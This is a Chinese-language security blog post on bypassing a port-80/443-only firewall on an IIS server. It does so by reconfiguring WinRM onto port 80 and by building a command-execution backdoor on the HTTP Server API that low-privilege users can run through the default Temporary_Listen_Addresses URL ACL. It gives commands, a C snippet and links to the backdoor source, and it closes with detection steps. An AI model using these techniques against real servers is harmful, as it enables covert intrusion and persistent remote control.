利用 IIS 的端口共享功能绕过防火墙
0x00 前言
我最近在思考这样一个问题:
Windows 服务器开启了 IIS 服务,防火墙仅允许 80 或 443 端口进行通信,那么如何在不使用 webshell 的前提下,实现对该服务器的远程管理?更进一步,如果只有低权限,有没有办法呢?
0x01 简介
本文将要介绍以下内容:
- HTTP.sys 和端口共享
- WinRM 服务
- HTTP Server API
- 针对 80 和 443 端口的利用方法
- 针对高权限和低权限的利用方法
- 检测方法
0x02 基本概念
1.HTTP.sys 和端口共享
微软在 Windows 2003 Server 加入了内核驱动程序(Http.sys),用于侦听 http 流量并根据 URL 进行处理,允许任意用户进程共享专用于 HTTP 流量的 TCP 端口
也就是说,通过 HTTP.sys,多个进程将能够侦听同一端口上的 HTTP 流量
可以使用 Netsh 命令来查询和配置 HTTP.sys 设置和参数,参考资料如下:https://docs.microsoft.com/en-us/windows/win32/http/netsh-commands-for-http
列出所有 URL 的 DACL,命令如下:
netsh http show urlacl
系统默认包括 10 个 DACL,其中的两个对应 WinRM 服务,具体信息如下:
Reserved URL : http://+:5985/wsman/
User: NT SERVICE\WinRM
Listen: Yes
Delegate: No
User: NT SERVICE\Wecsvc
Listen: Yes
Delegate: No
SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)
Reserved URL : https://+:5986/wsman/
User: NT SERVICE\WinRM
Listen: Yes
Delegate: No
User: NT SERVICE\Wecsvc
Listen: Yes
Delegate: No
SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)
5985 对应 http 的端口,5986 对应 https 的端口
2.WinRM 服务
学习资料:https://docs.microsoft.com/en-us/windows/win32/winrm/portal
全称 Windows Remote Management,能够实现在远程主机上执行命令
3.HTTP Server API
学习资料:https://docs.microsoft.com/en-us/windows/win32/http/http-api-start-page
HTTP Server API 使应用程序能够接收定向到 URL 的 HTTP 请求并发送 HTTP 响应
0x03 利用 WinRM 服务实现端口复用
注:Twi1ight 的文章已经介绍了这部分内容,感谢他的分享,地址如下:https://paper.seebug.org/1004/
本节仅对此文章中的内容进行归纳整理并稍作补充
Windows Server 2008 默认关闭 WinRM 服务,Windows Server 2012 默认开启
注:
以下操作需要获得管理员权限
1.如果系统已开启 WinRM 服务
(1) 查看监听配置
winrm e winrm/config/listener
默认监听 5985 端口,为了不修改默认配置,这里需要新增 80 端口
注:查看 WinRM 配置的命令如下:
winrm get winrm/config
(2) 新增 80 端口
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
补充:
删除 80 端口的命令如下:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"}
注:
如果未新增 80 端口,远程连接需要指定 5985 端口,示例如下:
winrs -r:http://192.168.112.129:5985 -u:test -p:1234 "whoami"
(3) 允许 Administrators 组中的所有帐户访问该服务
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
注:如果不设置此项,远程连接时只能使用内置管理员帐户 Administrator
2.如果系统未开启 WinRM 服务
(1) 使用默认配置开启并配置服务
Winrm quickconfig -q
将自动执行以下操作:
- 启动 WinRM 服务,并将服务启动类型设置为自动启动
- 添加监听配置
- 添加防火墙规则
(2) 修改默认端口
开启服务后,默认监听 5985 端口,为了更隐蔽,这里需要将默认端口 5985 修改为 80 端口
修改 http 默认端口为 80:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
注:还原 http 默认端口为 5985 的命令如下:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="5985"}
(3) 允许 Administrators 组中的所有帐户访问该服务
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
注:如果不设置此项,远程连接时只能使用内置管理员帐户 Administrator
3.通过 WinRM 服务连接远程主机
本地系统需要使用同远程主机相同的语言环境
(1) 本地系统开启 WinRM 服务
Winrm quickconfig -q
(2) 本地系统设置访问规则,允许连接所有主机
winrm set winrm/config/Client @{TrustedHosts="*"}
注:删除该访问规则的命令如下:
winrm set winrm/config/Client @{TrustedHosts=""}
(3) 连接远程主机的命令示例
如果为默认 5985 端口,命令如下:
winrs -r:http://192.168.112.129:5985 -u:administrator -p:1234 "whoami"
如果为 80 端口,命令如下:
winrs -r:http://192.168.112.129 -u:administrator -p:1234 "whoami"
0x04 利用 HTTP Server API 实现端口复用
1.示例代码测试
下载地址:https://docs.microsoft.com/en-us/windows/win32/http/http-server-sample-application
代码支持同时注册多个 URL,处理请求,发送 HTTP 响应
简单测试如下:
服务器 IP 为 192.168.112.129
管理员权限执行:
http-server-sample-application.exe http://+:80/MyUri1 http://+:80/MyUri2
打开浏览器分别访问 http://192.168.112.129:80/MyUri1 和 http://192.168.112.129:80/MyUri2
接收的结果如下图
示例代码通过 API HttpAddUrl() 将 URL 注册为 Listen On,默认配置下,需要管理员权限才能添加成功,否则产生错误:HttpAddUrl failed with 5,提示权限不够
但可以通过添加 url acl(需要管理员权限) 的方式实现普通用户权限下的正常运行
2.通过添加 url acl(需要管理员权限) 的方式实现示例代码以普通用户权限运行
方法如下:
添加 url acl,授予 Everyone 用户对指定 URL 的权限,命令如下(管理员权限):
netsh http add urlacl url=http://+:80/MyUri user=everyone
注:删除该 url acl 的命令如下:
netsh http delete urlacl url=http://+:80/MyUri
再次执行测试程序(普通用户权限),命令如下:
http-server-sample-application.exe http://+:80/MyUri
执行成功
3.借助已有的 url acl 实现示例代码以普通用户权限运行
列出所有 URL 的 DACL,命令如下:
netsh http show urlacl
注意到默认配置下包含以下 acl:
Reserved URL : http://+:80/Temporary_Listen_Addresses/
User: \Everyone
Listen: Yes
Delegate: No
SDDL: D:(A;;GX;;;WD)
User 为 Everyone,所以我们可以借助这个 url
执行示例程序(普通用户权限),命令如下:
http-server-sample-application.exe http://+:80/Temporary_Listen_Addresses/MyUri
执行成功
4.修改示例代码,实现命令执行
思路如下:
通过 GET 请求发送要执行的 cmd 命令,格式为 ?<command>
例如: http://192.168.112.129/MyUri?whoami ,要执行的命令为 whoami,在 Response 中回复执行的结果
对于不符合格式的 GET 和 POST 请求,在 Response 中回复 404
实现代码:以示例程序为模板,需要修改以下位置:
(1) 使用?传入参数
pRequest->CookedUrl.pQueryString
能够读取参数,但包括了无用的字符 ?
,实际执行命令时需要去掉 pRequest->CookedUrl.pQueryString
的第一个字符
去掉 pRequest->CookedUrl.pQueryString 第一个字符的 C 代码如下:
WCHAR *QueryString = new WCHAR[pRequest->CookedUrl.QueryStringLength-1];
wcsncpy_s(QueryString, wcslen(QueryString), pRequest->CookedUrl.pQueryString + 1, wcslen(QueryString) - 1);
wprintf_s(L"%s\n", QueryString);
(2) 特殊字符的替换
- 空格被转码为%20
- "被转码为%22
- '被转码为%27
例如浏览器输入字符串 whoami /all
,会被转码为 whoami%20/all
,这条命令无法直接在命令行下执行
还原 URL 编码的 C 代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Language/blob/master/UrlDecode.cpp
代码支持多字节字符集和 Unicode 字符集
(3) 使用管道读入命令并执行,回传结果
使用管道执行 cmd 命令并获取结果的代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Language/blob/master/UsePipeToExeCmd.cpp
(4) 修改回传结果的格式
回传的结果需要作格式转换, \n
换行符转换成 html 中的 </br>
,否则浏览器显示的内容无法换行
将文本中的换行符( \n
) 转换成 html 中换行符( </br>
) 的代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Language/blob/master/TextToHtmlofNewline.cpp
最终实现的代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp
只有输入特定格式的 url 能够执行命令,否则提示 404
如下图
命令实例:
http://192.168.112.129/MyUri?net%20start
如下图
https 协议也支持,命令实例:
https://192.168.112.129/MyUri?net%20start
如下图
0x05 利用方法
Windows 服务器开启了 IIS 服务,防火墙仅允许 80 或 443 端口进行通信,在不使用 webshell 的前提下,实现对该服务器远程管理的方法如下:
1.使用管理员权限
(1) 使用 WinRM 服务
需要开启 WinRM 服务
需要 Administrators 组中的帐户口令或 hash
(2) 使用 HTTP Server API
可以使用任意 url
注:80 和 443 端口都可以
2.使用普通用户权限
(1) 使用 HTTP Server API
使用已有的 url acl: http://+:80/Temporary_Listen_Addresses/
注:无法使用 443 端口
0x06 检测方法
使用以下方法检测当前 IIS 服务器的端口共享功能是否被滥用
1.检测正在使用的 url
如果使用了 HTTP Server API,程序在运行时会注册 url,查看命令如下:
netsh http sh ser
可疑结果示例:
Server session ID: D000000020000174
Version: 1.0
State: Active
Properties:
Max bandwidth: 4294967295
Timeouts:
Entity body timeout (secs): 120
Drain entity body timeout (secs): 120
Request queue timeout (secs): 120
Idle connection timeout (secs): 120
Header wait timeout (secs): 120
Minimum send rate (bytes/sec): 150
URL groups:
URL group ID: AC0000004000017C
State: Active
Request queue name: Request queue is unnamed.
Properties:
Max bandwidth: inherited
Max connections: inherited
Timeouts:
Timeout values inherited
Number of registered URLs: 1
Registered URLs:
HTTP://192.168.112.129:80:192.168.112.129/MYURI/
Server session ID: D000000020000173
Version: 1.0
State: Active
Properties:
Max bandwidth: 4294967295
Timeouts:
Entity body timeout (secs): 120
Drain entity body timeout (secs): 120
Request queue timeout (secs): 120
Idle connection timeout (secs): 120
Header wait timeout (secs): 120
Minimum send rate (bytes/sec): 150
URL groups:
URL group ID: AC0000004000017B
State: Active
Request queue name: Request queue is unnamed.
Properties:
Max bandwidth: inherited
Max connections: inherited
Timeouts:
Timeout values inherited
Number of registered URLs: 1
Registered URLs:
HTTPS://192.168.112.129:443:192.168.112.129/MYURI/
Server session ID: D600000020000077
Version: 1.0
State: Active
Properties:
Max bandwidth: 4294967295
Timeouts:
Entity body timeout (secs): 120
Drain entity body timeout (secs): 120
Request queue timeout (secs): 120
Idle connection timeout (secs): 120
Header wait timeout (secs): 120
Minimum send rate (bytes/sec): 150
URL groups:
URL group ID: BF00000040000120
State: Active
Request queue name: Request queue is unnamed.
Properties:
Max bandwidth: inherited
Max connections: inherited
Timeouts:
Timeout values inherited
Number of registered URLs: 1
Registered URLs:
HTTP://+:80/TEMPORARY_LISTEN_ADDRESSES/
2.查看 WinRM 服务配置
如果攻击者获得了管理员权限,WinRM 服务配置有可能被滥用
查看监听配置:
winrm e winrm/config/listener
查看是否开启可疑端口
0x07 小结
本文解决了如下问题:
Windows 服务器开启了 IIS 服务,防火墙仅允许 80 或 443 端口进行通信,那么如何在不使用 webshell,并且只有普通用户权限,实现对该服务器的远程管理?
解决方法:
使用代码:https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp
使用已有的 url acl,命令参数如下:
HTTPServerWebshell.exe http://+:80/Temporary_Listen_Addresses/
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论